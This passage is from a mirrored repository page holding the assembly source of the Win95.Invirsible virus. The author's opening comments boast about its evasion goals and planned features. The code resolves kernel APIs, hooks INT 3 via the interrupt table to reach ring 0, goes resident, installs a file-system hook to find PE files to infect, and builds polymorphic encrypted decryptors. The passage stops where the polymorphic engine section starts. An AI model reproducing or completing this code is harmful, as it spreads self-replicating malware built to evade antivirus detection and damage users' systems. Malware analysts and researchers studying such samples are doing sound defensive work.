mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
4174 lines
94 KiB
NASM
4174 lines
94 KiB
NASM
|
; Win95.Invirsible
|
|||
|
; Bhunji
|
|||
|
;
|
|||
|
; proudly presents ;)
|
|||
|
;
|
|||
|
; Invirsible
|
|||
|
;
|
|||
|
; Virusinfo
|
|||
|
; Version 2
|
|||
|
; Size: Big, usually around 7.6k
|
|||
|
; Infects: PE files
|
|||
|
; Resident: Yes
|
|||
|
; Systems; Win9x
|
|||
|
; Polymorhic: Yes
|
|||
|
|
|||
|
; This is the second version on Invirsible. My goal with this virus
|
|||
|
; is to make it as hard as possible to detect. It has one technique
|
|||
|
; never seen in a virus before which I call the Guide technique. More
|
|||
|
; info about this can be found at www.shadowvx.org. It carries a very
|
|||
|
; advanced generic polymorpher. It is able to polymorph mov, add, sub
|
|||
|
; so far but its trivial to add more instructions. The engine uses
|
|||
|
; emulation to generate code. It is able to emulate memory and registers
|
|||
|
; which results in code that looks very real. Coding new code to be
|
|||
|
; polymorphed is pretty easy as it's similar to Intel asm.
|
|||
|
|
|||
|
; ex. mov RX1,[RX2]
|
|||
|
; mov Random register 1, [Random register 2]
|
|||
|
|
|||
|
; Changes since last version
|
|||
|
; A total rewrite of the polymorphic code. Works way better now.
|
|||
|
; * Changed the polymorphic language to be more similar to Intel asm
|
|||
|
; * Added memory emulation, the created code uses the end of .data segment.
|
|||
|
; * Deleted advanced register emulation, did hardly create better code
|
|||
|
; and was taking up lots of space.
|
|||
|
; * Very generic, adding a new instruction needs 10 lines of data/code
|
|||
|
; instead of 200-400 lines.
|
|||
|
; * An optimiser that deletes the very worst code. (fx. mov eax,eax)
|
|||
|
; * The linked list polymorpher will create a six different looking
|
|||
|
; decryptors for the generic polymorpher.
|
|||
|
|
|||
|
|
|||
|
; Some changes to the virus
|
|||
|
; * Bugfixes. (Doesn't crash on infection :) )
|
|||
|
; * Search for slackspace in .data segment. This space is used by the
|
|||
|
; generated code to look more like real code.
|
|||
|
; * Recompilation of the code before every infection to make the pointers
|
|||
|
; point to the .data slack
|
|||
|
|
|||
|
; Things to be added in the future.
|
|||
|
; * More instructions will be added to the polymorpher
|
|||
|
; * A more powerful optimiser
|
|||
|
; * Infect on NT too.
|
|||
|
; * Spreading by mail
|
|||
|
; * Infection of hlp files
|
|||
|
; * EPO
|
|||
|
; * Deregister the most common AV software on file but register it later in
|
|||
|
; memory. This will not happen if the AV gives the virus its proper name.
|
|||
|
; * A better method of upgrading the virus ala babylonia.
|
|||
|
|
|||
|
; And here is an example of what code the engine is able and has been
|
|||
|
; able to generate.
|
|||
|
|
|||
|
; Version 1
|
|||
|
; Version one is able to emulate/generate
|
|||
|
; add, mov
|
|||
|
s
|
|||
|
; (code is taken from a generated Guide)
|
|||
|
|
|||
|
; mov ecx, 0Ch
|
|||
|
; mov ebx, fs:[ecx] ; get random number
|
|||
|
; mov edx, 0
|
|||
|
; add edx, eax
|
|||
|
; add eax, esi
|
|||
|
; mov edi, 0
|
|||
|
; add edi, 6472DAADh
|
|||
|
; mov eax, 5A97451Fh
|
|||
|
; mov eax, edx
|
|||
|
; add edi, ecx
|
|||
|
; mov ecx, 0
|
|||
|
; add ecx, ebx
|
|||
|
; or ecx, 8
|
|||
|
; xor ebx, ecx ; 'and' ebx,8
|
|||
|
; add edi, 0DCA7B4AAh
|
|||
|
; add edi, 60E4CB5Ch
|
|||
|
; mov edi, ebx
|
|||
|
; add ebx, offset jumptable ; add ebx, offset jumptable
|
|||
|
; jmp dword ptr [ebx]
|
|||
|
|
|||
|
|
|||
|
; patterns
|
|||
|
|
|||
|
; Differences from the trash code
|
|||
|
; fs:[register]
|
|||
|
; or/and register,8
|
|||
|
; jmp [register]
|
|||
|
|
|||
|
; The trashcode
|
|||
|
; very few instructions
|
|||
|
; no memory instructions
|
|||
|
; the same amount of every emulateable instruction (normal code has more
|
|||
|
; movs then adds for example)
|
|||
|
; unnecessary instructions. Ex.
|
|||
|
; mov eax, 5A97451Fh ; this is unnessesary
|
|||
|
; mov eax, edx ; as this overwrites eax again
|
|||
|
|
|||
|
|
|||
|
; Version 2
|
|||
|
; Version two is able to emulate
|
|||
|
; add, sub, mov, and, or, xor and memory
|
|||
|
|
|||
|
; Generates on average more movs then the
|
|||
|
; adds and more adds then the other opcodes.
|
|||
|
; Generates more registers then memory operands and
|
|||
|
; more memory operands then numbers.
|
|||
|
; The end result 'feels' more like regular code.
|
|||
|
; Many many bugfixes. (There are no more bugs i hope)
|
|||
|
|
|||
|
; Code is taken from a generated decryptor
|
|||
|
;
|
|||
|
; mov edx, 8D403766h
|
|||
|
; xor [4030D7], 1A45h ; 1a45 = virussize
|
|||
|
; xor esi, [4030CF]
|
|||
|
; mov [4030CF], ecx
|
|||
|
; mov esi, 45BBA054h
|
|||
|
; add edi, 0CCFC6B5Bh
|
|||
|
; mov ebx, 1A45h ; first "real" instruction
|
|||
|
; mov eax, [4030CF]
|
|||
|
; sub edi, 1A45h
|
|||
|
; or eax, ebx
|
|||
|
; mov edi, 1A45h
|
|||
|
; mov edi, 3
|
|||
|
; add ecx, 3
|
|||
|
; mov edx, [4030BF] ; second
|
|||
|
; add [4030D7], eax
|
|||
|
; mov esi, 3
|
|||
|
|
|||
|
; DecryptLoop:
|
|||
|
; pusha ; will be deleted in future versions
|
|||
|
; mov eax, 1FF5893Dh
|
|||
|
; mov ecx, ebx
|
|||
|
; sub eax, 0E138ABECh
|
|||
|
; add edx, ecx ; third
|
|||
|
; mov esi, ecx
|
|||
|
; mov edi, ebx
|
|||
|
; mov eax, 0D6E7BEF5h
|
|||
|
; mov [4030CF], 5493B89Ch
|
|||
|
; sub ecx, [4030B3]
|
|||
|
; mov eax, 0E138ABECh
|
|||
|
; and [4030D3], ecx
|
|||
|
; or eax, ebx
|
|||
|
; xor [edx], 0E138ABECh ; decrypt code
|
|||
|
; mov [4030D7], 0E138ABECh
|
|||
|
; popa
|
|||
|
; sub ebx, 4 ;
|
|||
|
; jnb DecryptLoop
|
|||
|
; mov dword_0_4030CF, 69472C81h
|
|||
|
; mov ecx, 0F5D970C4h
|
|||
|
; mov edi, 1
|
|||
|
; mov eax, dword_0_4030B7
|
|||
|
; add ecx, 8244076Eh
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; If we put the real code pieces together we get.
|
|||
|
;
|
|||
|
; mov ebx, 1A45h ; VirusSize
|
|||
|
; mov edx, [4030BF] ; Where to start decrypt
|
|||
|
; DecryptLoop:
|
|||
|
; add edx, ecx ; third
|
|||
|
; xor dword ptr [edx], 0E138ABECh ; decrypt code
|
|||
|
; sub ebx, 4 ;
|
|||
|
; jnb DecryptLoop
|
|||
|
|
|||
|
; The third instruction should add "Where to start" with "VirusSize" but
|
|||
|
; as you can see it is added with ecx instead, this is because of the
|
|||
|
; emulation. The engine knows that ecx = ebx = VirusSize so it used ecx
|
|||
|
; instead.
|
|||
|
|
|||
|
; patterns
|
|||
|
|
|||
|
; Differences from the trash code
|
|||
|
; pushad/popad ; easy to delete
|
|||
|
; [Register] ; engine is only able to create [Number]
|
|||
|
; jxx ; Engine isnt able to create jumps yet
|
|||
|
|
|||
|
; The trashcode
|
|||
|
; Still to few instructions, needs push/pop, call, jmp, jxx to look at least
|
|||
|
; something like real code.
|
|||
|
; Memory instructions isn't able to create memory pointers with a register
|
|||
|
; inside, eg [Number+register]. A better compiler will fix this.
|
|||
|
; Still unnecessary instructions. Ex.
|
|||
|
; mov eax, 0D6E7BEF5h ; this is unnessesary
|
|||
|
; ...
|
|||
|
; mov eax, 1FF5893Dh ; as this overwrites eax again
|
|||
|
;
|
|||
|
; Greetings
|
|||
|
; (M)asmodeus. Dropper.exe has generated errors and will be closed by
|
|||
|
; Windows :)))
|
|||
|
; Morphi Hoppas att du f<>r det b<>ttre i helsingborg
|
|||
|
; Prizzy Thanks for helping me with the bug
|
|||
|
; Ruzz Yes, i have FINALY finished it :)
|
|||
|
; Kamaileon. I wish you luck with the windows programming.
|
|||
|
; Clau Hello sister ;)
|
|||
|
; Urgo32 Good luck with your next virus.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
includelib kernel32.lib
|
|||
|
includelib user32.lib
|
|||
|
include c:masmincludewindows.inc
|
|||
|
|
|||
|
|
|||
|
.486
|
|||
|
.model flat, stdcall
|
|||
|
|
|||
|
ExitProcess PROTO ,:DWORD
|
|||
|
MessageBoxA PROTO ,:DWORD,:DWORD,:DWORD,:DWORD
|
|||
|
|
|||
|
|
|||
|
; Primes, used them in the first version for advanced register emulation,
|
|||
|
; might be usefull in the future
|
|||
|
|
|||
|
Prime1 equ 2
|
|||
|
Prime2 equ 3
|
|||
|
Prime3 equ 5
|
|||
|
Prime4 equ 7
|
|||
|
Prime5 equ 11
|
|||
|
Prime6 equ 13
|
|||
|
Prime7 equ 17
|
|||
|
Prime8 equ 19
|
|||
|
Prime9 equ 23
|
|||
|
Prime10 equ 29
|
|||
|
Prime11 equ 31
|
|||
|
Prime12 equ 37
|
|||
|
Prime13 equ 41
|
|||
|
Prime14 equ 43
|
|||
|
Prime15 equ 47
|
|||
|
Prime16 equ 53
|
|||
|
Prime17 equ 59
|
|||
|
Prime18 equ 61
|
|||
|
Prime19 equ 67
|
|||
|
Prime20 equ 71
|
|||
|
Prime21 equ 73
|
|||
|
Prime22 equ 77
|
|||
|
|
|||
|
|
|||
|
.data
|
|||
|
VirusStr db "No crack found",0
|
|||
|
|
|||
|
.code
|
|||
|
ProgramMain:
|
|||
|
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
_rsrc segment para public 'DATA' use32
|
|||
|
assume cs:_rsrc
|
|||
|
|
|||
|
|
|||
|
VirusStart:
|
|||
|
Main:
|
|||
|
mov ebx,[esp]
|
|||
|
|
|||
|
push ebp
|
|||
|
call GetDelta
|
|||
|
|
|||
|
GetDelta:
|
|||
|
pop ebp
|
|||
|
sub ebp,offset GetDelta ; address
|
|||
|
|
|||
|
mov [Temp+ebp],ebx ; save offset into kernel
|
|||
|
|
|||
|
.if ebp!=0 ; code that isn't
|
|||
|
; executed in the first
|
|||
|
; version
|
|||
|
|
|||
|
mov eax,[eax] ; polymorphic code will
|
|||
|
mov [InfectedProgramOffset+ebp],eax ; move pointer to
|
|||
|
.endif ; programstart in eax
|
|||
|
|
|||
|
lea eax,BreakPoint1
|
|||
|
lea eax,[ebp+GetDelta] ; move some address to
|
|||
|
mov [PointerToDataSlack+ebp],eax ; PTDS, doesnt matter as
|
|||
|
; long as its a working one
|
|||
|
|
|||
|
; mov eax,fs:[0c]
|
|||
|
db 67h,64h,0a1h,0ch,00h ; get random number
|
|||
|
add [RandomNumber+ebp],eax ; (is not random on NT)
|
|||
|
|
|||
|
call GetAPIFunctions ; Get needed API functions
|
|||
|
|
|||
|
call FixTables ; clean the 'dirty' tables
|
|||
|
; and allocate mem for the
|
|||
|
; polymorpher
|
|||
|
|
|||
|
call CreateGuideAndDecryptor ; Generate the polymorphic
|
|||
|
; code
|
|||
|
|
|||
|
call GetResident ; intercept IFSMgr to get
|
|||
|
; filenames to infect
|
|||
|
|
|||
|
|
|||
|
ReturnToHost:
|
|||
|
|
|||
|
push [MemPtr+ebp] ; free allocated mem used
|
|||
|
call [LocalFree+ebp] ; by polymorpher
|
|||
|
|
|||
|
mov eax,[InfectedProgramOffset+ebp] ; program address
|
|||
|
pop ebp ; restore ebp
|
|||
|
|
|||
|
jmp eax ; jmp to program
|
|||
|
|
|||
|
Topic db "You can not find what you can not see.",0
|
|||
|
db "Invirsible by Bhunji (Shadow VX)",0
|
|||
|
|
|||
|
VSize equ VirusEnd-VirusStart
|
|||
|
VirusSize equ VSize
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; how much stack and mem should the polymorpher use
|
|||
|
|
|||
|
NumberOfOffsets equ 10 ; more size = better code
|
|||
|
; (doesnt matter right now
|
|||
|
; because the engine isnt
|
|||
|
; able to create jumps)
|
|||
|
StackSize equ 100 ; (doesnt matter right now
|
|||
|
; because the engine isnt
|
|||
|
; able to emulate the stack)
|
|||
|
|
|||
|
MemorySize equ 10 ; The more size the better
|
|||
|
; code is produced but makes
|
|||
|
; it harder to find a file to
|
|||
|
; infect
|
|||
|
|
|||
|
|
|||
|
LinesOfTrash equ 3 ; LinesOfTrash is the
|
|||
|
; aproximate numbers of
|
|||
|
; random instructions between
|
|||
|
; every "legal" instruction
|
|||
|
|
|||
|
; LinesOfTrash
|
|||
|
; Fixup instruction
|
|||
|
; LinesOfTrash
|
|||
|
|
|||
|
EndValueFrecuency equ 1 ; the higher the more often
|
|||
|
; is the EndValue chosed
|
|||
|
; the higher the number is
|
|||
|
; the harder is it to detect
|
|||
|
; my looking at one
|
|||
|
; instruction, but its easier
|
|||
|
; to detect by looking at many
|
|||
|
; instructions.
|
|||
|
; 1 is a perfect value
|
|||
|
|
|||
|
MemPtr dd 0 ; ptr to allocated mem
|
|||
|
ReturnAddress dd 0 ; stores the return address
|
|||
|
; in some functions
|
|||
|
|
|||
|
|
|||
|
InfectedProgramOffset dd ProgramMain ; where to jump when
|
|||
|
; done
|
|||
|
|
|||
|
Temp dd 0 ; just a temporary variable
|
|||
|
|
|||
|
; API's the virus uses
|
|||
|
WinFunctions:
|
|||
|
lstrlenStr db "lstrlen",0
|
|||
|
LocalAllocStr db "LocalAlloc",0
|
|||
|
LocalFreeStr db "LocalFree",0
|
|||
|
db 0
|
|||
|
; pointers to these
|
|||
|
Functions:
|
|||
|
lstrlen dd ?
|
|||
|
AllocMem dd ?
|
|||
|
LocalFree dd ?
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
FixTables:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
lea edi,[ZeroRegStart+ebp]
|
|||
|
mov ecx,(ZeroRegEnd-ZeroRegStart)/4
|
|||
|
xor eax,eax
|
|||
|
rep stosd
|
|||
|
|
|||
|
lea edi,[RandomRegs+ebp]
|
|||
|
mov ecx,Registers
|
|||
|
dec eax
|
|||
|
rep stosd
|
|||
|
|
|||
|
lea edi,[SavedOffsets+ebp]
|
|||
|
mov ecx,NumberOfOffsets
|
|||
|
rep stosd
|
|||
|
|
|||
|
|
|||
|
lea eax,[EaxTable+ebp]
|
|||
|
mov [Tables+ebp],eax
|
|||
|
|
|||
|
mov eax,MemorySize*20+StackSize*20
|
|||
|
|
|||
|
push eax
|
|||
|
push LMEM_FIXED + LMEM_ZEROINIT
|
|||
|
call [AllocMem+ebp]
|
|||
|
mov [Tables+ebp+4],eax
|
|||
|
|
|||
|
add eax,MemorySize*20
|
|||
|
mov [Tables+ebp+8],eax
|
|||
|
|
|||
|
|
|||
|
call UndefineRegistersAndMem
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
lea esi,[Mem1Table+ebp]
|
|||
|
mov edi,[Tables+ebp+4]
|
|||
|
lodsb
|
|||
|
|
|||
|
|
|||
|
mov ecx,eax
|
|||
|
PredefinedMem:
|
|||
|
lodsb
|
|||
|
push edi
|
|||
|
imul eax,eax,20
|
|||
|
lea edi,[edi+eax]
|
|||
|
push ecx
|
|||
|
mov ecx,5
|
|||
|
rep movsd
|
|||
|
pop ecx
|
|||
|
pop edi
|
|||
|
loop PredefinedMem
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
UndefineRegistersAndMem:
|
|||
|
lea edi,[EaxTable+ebp+4*4]
|
|||
|
mov ecx,Registers
|
|||
|
mov eax,Writeable+Undefined
|
|||
|
|
|||
|
SetOpcodeInfo1:
|
|||
|
stosd
|
|||
|
add edi,4*4
|
|||
|
loop SetOpcodeInfo1
|
|||
|
|
|||
|
|
|||
|
mov edi,[Tables+ebp+4]
|
|||
|
add edi,4*4
|
|||
|
mov ecx,MemorySize+StackSize
|
|||
|
mov eax,Writeable+Undefined
|
|||
|
|
|||
|
SetOpcodeInfo2:
|
|||
|
stosd
|
|||
|
add edi,4*4
|
|||
|
loop SetOpcodeInfo2
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
GetModuleHandle dd 0
|
|||
|
GetProcAddress dd 0
|
|||
|
GetProcAddressStr db "GetProcAddress",0
|
|||
|
|
|||
|
GetAPIFunctions:
|
|||
|
mov eax,[Temp+ebp]
|
|||
|
|
|||
|
call GetModuleHandleAndProcAddress
|
|||
|
|
|||
|
mov [GetModuleHandle+ebp],eax
|
|||
|
mov [GetProcAddress+ebp],ebx
|
|||
|
|
|||
|
xor edx,edx
|
|||
|
lea edx,[WinFunctions+ebp]
|
|||
|
xor ecx,ecx
|
|||
|
|
|||
|
CopyWinApiFunctions:
|
|||
|
push edx
|
|||
|
push ecx
|
|||
|
|
|||
|
push edx
|
|||
|
push edx
|
|||
|
push [GetModuleHandle+ebp]
|
|||
|
call [GetProcAddress+ebp]
|
|||
|
|
|||
|
mov ecx,[esp+4]
|
|||
|
mov [Functions+ebp+ecx],eax
|
|||
|
|
|||
|
call [lstrlen+ebp]
|
|||
|
pop ecx
|
|||
|
pop edx
|
|||
|
add edx,eax
|
|||
|
add ecx,4
|
|||
|
inc edx
|
|||
|
|
|||
|
cmp byte ptr [edx],0
|
|||
|
jnz CopyWinApiFunctions
|
|||
|
NoMoreApis:
|
|||
|
ret
|
|||
|
|
|||
|
; Input
|
|||
|
; eax = somewhere in kernel
|
|||
|
|
|||
|
; Returns
|
|||
|
; eax = GetModuleHandler offset
|
|||
|
; ebx = GetProcAddress offset
|
|||
|
|
|||
|
GetModuleHandleAndProcAddress:
|
|||
|
and eax,0fffff000h ; even 1000h something
|
|||
|
|
|||
|
FindKernelEntry:
|
|||
|
sub eax,1000h
|
|||
|
cmp word ptr [eax],'ZM'
|
|||
|
jnz FindKernelEntry
|
|||
|
|
|||
|
|
|||
|
mov ebx,[eax+3ch]
|
|||
|
|
|||
|
cmp word ptr [ebx+eax], 'EP'
|
|||
|
jne FindKernelEntry
|
|||
|
mov ebx,[eax+120+ebx]
|
|||
|
add ebx,eax ; ebx -> Export table
|
|||
|
|
|||
|
mov ecx,[ebx+12] ; ecx -> dll name
|
|||
|
|
|||
|
cmp dword ptr [ecx+eax],'NREK'
|
|||
|
jz FindGetProcAddress
|
|||
|
jmp FindKernelEntry
|
|||
|
|
|||
|
|
|||
|
; We can now be sure that eax points to the kernel
|
|||
|
FindGetProcAddress:
|
|||
|
lea edi,[GetProcAddressStr+ebp]
|
|||
|
|
|||
|
mov edx,[ebx+32]
|
|||
|
|
|||
|
FindFunction:
|
|||
|
add edx,4
|
|||
|
mov ecx,15 ; length of GetProcAddress,0
|
|||
|
mov esi,[edx+eax]
|
|||
|
push edi
|
|||
|
add esi,eax
|
|||
|
repz cmpsb
|
|||
|
pop edi
|
|||
|
jne FindFunction
|
|||
|
|
|||
|
sub edx,[ebx+32]
|
|||
|
shr edx,1 ; ecx = ordinal pointer
|
|||
|
|
|||
|
lea esi,[edx+eax]
|
|||
|
xor ecx,ecx
|
|||
|
add esi,[ebx+36] ; esi = base+ordinals+ordnr
|
|||
|
|
|||
|
mov cx,word ptr [esi] ; ecx = ordinal
|
|||
|
shl ecx,2 ; ecx = ordinal*4
|
|||
|
add ecx,[ebx+28] ; ecx = ordinal*4+func tbl addr
|
|||
|
|
|||
|
mov ebx,[ecx+eax] ; esi = function addr in file
|
|||
|
add ebx,eax ; esi = function addr in mem
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Encryptor dd 0
|
|||
|
|
|||
|
GetResident:
|
|||
|
mov eax,[GetModuleHandle+ebp]
|
|||
|
add eax,6ch
|
|||
|
mov ebx,'.K3Y'
|
|||
|
cmp [eax],ebx
|
|||
|
|
|||
|
jz DontGoRing0
|
|||
|
|
|||
|
sub esp,8
|
|||
|
sidt [esp] ; get interupt table
|
|||
|
|
|||
|
|
|||
|
; hook int 3 to get get ring 0
|
|||
|
mov esi,[esp+2]
|
|||
|
add esi, 3*8 ; pointer to int 3
|
|||
|
mov ebx, [esi+4]
|
|||
|
|
|||
|
mov bx,word ptr [esi] ; ebx = old pointer
|
|||
|
lea eax,[Ring0Code+ebp] ; eax = new pointer
|
|||
|
mov word ptr [esi],ax ; move new pointer to int 3
|
|||
|
shr eax,16
|
|||
|
mov word ptr [esi+6], ax
|
|||
|
|
|||
|
pushad
|
|||
|
|
|||
|
int 3 ; get into ring 0
|
|||
|
popad
|
|||
|
mov [esi],bx ; return old pointer again
|
|||
|
shr ebx,16
|
|||
|
mov [esi+6],bx
|
|||
|
add esp,8
|
|||
|
|
|||
|
DontGoRing0:
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ---------------------------------------
|
|||
|
; -------------------------------- Ring 0
|
|||
|
; ---------------------------------------
|
|||
|
|
|||
|
|
|||
|
Ring0Code:
|
|||
|
mov eax,[GetModuleHandle+ebp]
|
|||
|
add eax,6ch
|
|||
|
mov ebx,'.K3Y'
|
|||
|
mov [eax],ebx
|
|||
|
mov ebx,[eax+8]
|
|||
|
mov [eax+4],ebx
|
|||
|
|
|||
|
mov eax,[MemoryTable+ebp]
|
|||
|
sub eax,[GuidePos+ebp]
|
|||
|
push eax
|
|||
|
|
|||
|
add eax,(MemorySize+1)*8
|
|||
|
push eax ; push guide + decrypt size
|
|||
|
; + special variables
|
|||
|
add eax,(VirusEnd-VirusStart)*2+20
|
|||
|
|
|||
|
; allocate mem
|
|||
|
push eax
|
|||
|
push R0_AllocMem
|
|||
|
mov edi,ebp
|
|||
|
call vxd
|
|||
|
pop ecx
|
|||
|
test eax,eax
|
|||
|
jz ErrorRing0
|
|||
|
|
|||
|
; Copy guide and decryptor to ring 0 mem
|
|||
|
|
|||
|
pop ecx ; ecx = guide + decrypt size
|
|||
|
; + special variables
|
|||
|
mov esi,[GuidePos+ebp]
|
|||
|
mov edi,eax
|
|||
|
mov ebx,eax
|
|||
|
xchg ebx,[GuidePos+ebp] ; eax = new guide pos
|
|||
|
; ebx = old guide pos
|
|||
|
pop edx ; edx = size of guide+decrypt
|
|||
|
add edx,eax ; edx = new memory pos
|
|||
|
mov [MemoryTable+ebp],edx
|
|||
|
|
|||
|
sub eax,ebx ; difference in mem
|
|||
|
add [DecryptorPos+ebp],eax ; add to get new pos
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
rep movsb ; copy polycode to ring 0
|
|||
|
|
|||
|
mov edi,edx
|
|||
|
mov ecx,(MemorySize+1)*(8/4)
|
|||
|
xor eax,eax
|
|||
|
rep stosd
|
|||
|
|
|||
|
add edx,MemorySize*4+4
|
|||
|
mov [VirtualDataSegment+ebp],edx
|
|||
|
|
|||
|
pushad
|
|||
|
|
|||
|
|
|||
|
mov eax,[VirtualDataSegment+ebp] ; pointer to virtual data
|
|||
|
; segment
|
|||
|
|
|||
|
lea edx,[Mem1Table+ebp]
|
|||
|
movzx ecx,byte ptr [edx] ; how much data does the
|
|||
|
; decryptor and guide need
|
|||
|
; predefined
|
|||
|
inc edx
|
|||
|
|
|||
|
CopyDataToVirtualDataSegment:
|
|||
|
movzx ebx,byte ptr [edx] ; where in datasegment should
|
|||
|
; we write the data
|
|||
|
shl ebx,2
|
|||
|
push dword ptr [edx+1] ; push the data to write
|
|||
|
pop [eax+ebx] ; write it to virtual data seg
|
|||
|
add edx,1+5*4 ; point to next data block
|
|||
|
loop CopyDataToVirtualDataSegment
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
mov [VirusInRing0Mem+ebp],edi
|
|||
|
mov ebx,edi
|
|||
|
|
|||
|
lea esi, [ebp+VirusStart]
|
|||
|
mov ecx, VirusSize
|
|||
|
rep movsb ; copy virus to ring 0
|
|||
|
xor eax,eax
|
|||
|
|
|||
|
stosd
|
|||
|
stosd
|
|||
|
|
|||
|
; encrypt virus in memory
|
|||
|
pushad
|
|||
|
mov esi,[Encryptor+ebp]
|
|||
|
push ebx ; pointer to virus in ring0
|
|||
|
mov eax,esp
|
|||
|
push eax ; pointer to pointer
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
mov [PointerToDataSlack+ebp],esp ; all special variables
|
|||
|
; points to pointer to
|
|||
|
; virus in ring 0
|
|||
|
call Compile
|
|||
|
|
|||
|
call esi
|
|||
|
|
|||
|
add esp,5*4
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
; copy residentcode to mem
|
|||
|
push edi
|
|||
|
|
|||
|
lea esi, [ebp+ResidentcodeStart]
|
|||
|
mov ecx, ResidentcodeEnd-ResidentcodeStart
|
|||
|
rep movsb
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; hook API function
|
|||
|
; edi is on stack
|
|||
|
push InstallFileSystemAPIhook
|
|||
|
mov edi,ebp
|
|||
|
call vxd
|
|||
|
|
|||
|
|
|||
|
pop edi ; 0 edi left on stack
|
|||
|
sub edi,ResidentcodeStart
|
|||
|
mov [edi+BasePtr+1],edi
|
|||
|
mov [edi+OldAPIFunction],eax
|
|||
|
BreakPoint1:
|
|||
|
|
|||
|
lea eax,[edi+BreakPoint]
|
|||
|
lea eax,[edi+BreakPoint]
|
|||
|
iretd
|
|||
|
|
|||
|
ErrorRing0:
|
|||
|
pop eax
|
|||
|
xor eax,eax
|
|||
|
iretd
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
CreateGuideAndDecryptor:
|
|||
|
push 1024*1024
|
|||
|
push LMEM_FIXED + LMEM_ZEROINIT
|
|||
|
call [AllocMem+ebp]
|
|||
|
|
|||
|
mov [MemPtr+ebp],eax
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov edi,eax
|
|||
|
lea esi,[Guide+ebp]
|
|||
|
|
|||
|
call LinkedListPolymorpher
|
|||
|
call Polymorph ; create Guide
|
|||
|
|
|||
|
mov [GuidePos+ebp],esi
|
|||
|
mov [GuideSize+ebp],eax
|
|||
|
|
|||
|
add edi,32
|
|||
|
|
|||
|
lea esi,[Decryptor+ebp]
|
|||
|
|
|||
|
call LinkedListPolymorpher
|
|||
|
push esi
|
|||
|
|
|||
|
call Polymorph ; create Decryptor
|
|||
|
|
|||
|
mov [DecryptorPos+ebp],esi
|
|||
|
mov [MemoryTable+ebp],edi
|
|||
|
|
|||
|
mov [DecryptorSize+ebp],eax
|
|||
|
|
|||
|
|
|||
|
call UndefineRegistersAndMem
|
|||
|
|
|||
|
mov [HowMuchTrash+ebp],0
|
|||
|
pop esi
|
|||
|
|
|||
|
pushad
|
|||
|
mov edi,esi
|
|||
|
mov eax,Op_trash
|
|||
|
bswap eax
|
|||
|
xor ecx,ecx
|
|||
|
xor edx,edx
|
|||
|
FindTrashInstruction:
|
|||
|
inc edi
|
|||
|
cmp [edi],edx
|
|||
|
jz EndOfTrashInstructions
|
|||
|
xor ecx,ecx
|
|||
|
cmp [edi],eax
|
|||
|
jnz FindTrashInstruction
|
|||
|
add edi,4
|
|||
|
push eax
|
|||
|
xor eax,eax
|
|||
|
stosb
|
|||
|
pop eax
|
|||
|
jmp FindTrashInstruction
|
|||
|
|
|||
|
EndOfTrashInstructions:
|
|||
|
test ecx,ecx
|
|||
|
jnz ReallyEnd
|
|||
|
inc ecx
|
|||
|
add edi,3
|
|||
|
jmp FindTrashInstruction
|
|||
|
|
|||
|
ReallyEnd:
|
|||
|
popad
|
|||
|
add edi,eax
|
|||
|
call MutateCode ; Generic polymorphing
|
|||
|
|
|||
|
mov ecx,edi
|
|||
|
sub ecx,esi
|
|||
|
shr ecx,1
|
|||
|
mov edi,esi
|
|||
|
|
|||
|
FindDecryptInstruction:
|
|||
|
mov eax,'R['
|
|||
|
repnz scasw ; find [R
|
|||
|
inc edi
|
|||
|
mov ax,word ptr [edi]
|
|||
|
cmp eax,',]' ; is this [Rx],
|
|||
|
jnz FindDecryptInstruction ; if not, continue looking
|
|||
|
|
|||
|
and edi,0fffffff0h
|
|||
|
mov eax,[edi]
|
|||
|
bswap eax
|
|||
|
|
|||
|
.if eax==Op_xor
|
|||
|
jmp CompileEncryptor
|
|||
|
|
|||
|
.elseif eax==Op_add
|
|||
|
mov eax,Op_sub
|
|||
|
bswap eax
|
|||
|
stosd
|
|||
|
jmp CompileEncryptor
|
|||
|
.else
|
|||
|
mov eax,Op_add
|
|||
|
bswap eax
|
|||
|
stosd
|
|||
|
jmp CompileEncryptor
|
|||
|
.endif
|
|||
|
|
|||
|
|
|||
|
CompileEncryptor:
|
|||
|
mov [Encryptor+ebp],esi
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ---------------------------------------------------
|
|||
|
; --------------------------- The generic polymorpher
|
|||
|
; ---------------------------------------------------
|
|||
|
|
